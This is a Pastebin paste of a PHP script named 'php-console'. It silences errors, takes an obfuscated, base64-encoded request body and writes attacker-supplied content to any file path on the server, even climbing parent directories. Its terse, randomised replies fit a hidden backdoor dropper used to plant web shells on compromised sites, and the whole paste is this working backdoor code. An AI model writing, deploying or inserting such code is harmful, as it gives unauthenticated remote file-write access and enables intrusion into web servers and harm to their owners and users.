SHARE
TWEET

php-console

a guest Jan 9th, 2018 115 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. function d($msg)
  6. {
  7.     die(substr(md5(microtime()), rand(0,26), 5).$msg);
  8. }
  9.  
  10. $data = file_get_contents('php://input');
  11.  
  12. if (strlen($data) <= 4) d('e0');
  13.  
  14. $data = substr($data, 3);
  15. $data = base64_decode($data);
  16. $c = 'PHP5';
  17. if (substr($data, -strlen($c)) !== $c) d('e1');
  18. $data = substr($data, 0, -strlen($c));
  19.  
  20. $p = strpos($data, ';'); if ($p === false) d('e2');
  21. $data = substr($data, $p+1);
  22.  
  23. $p = strpos($data, ';'); if ($p === false) d('e3');
  24. $fname = substr($data, 0, $p); $data = substr($data, $p+1);
  25. if (!strlen($fname)) d('e5');
  26.  
  27. $p = strpos($data, ';'); if ($p === false) d('e4');
  28. $up = substr($data, 0, $p); $data = substr($data, $p+1);
  29.  
  30. $up = intval($up);
  31.  
  32. if ($up > 0)
  33. {
  34.     $dir = __DIR__;
  35.     for ($i = 0; $i < $up; $i++) $dir = dirname($dir);
  36.     $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname;
  37. }
  38.  
  39. for ($i = 0; $i < 20; $i++)
  40. {
  41.     file_put_contents($fname, $data, LOCK_EX);
  42.     $ok = file_exists($fname);
  43.     if ($ok) break;
  44. }
  45.  
  46. if ($ok)
  47. {
  48.     d('ok');
  49. } else
  50. {
  51.     d('bad:'.$fname.'|'.__DIR__);
  52. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top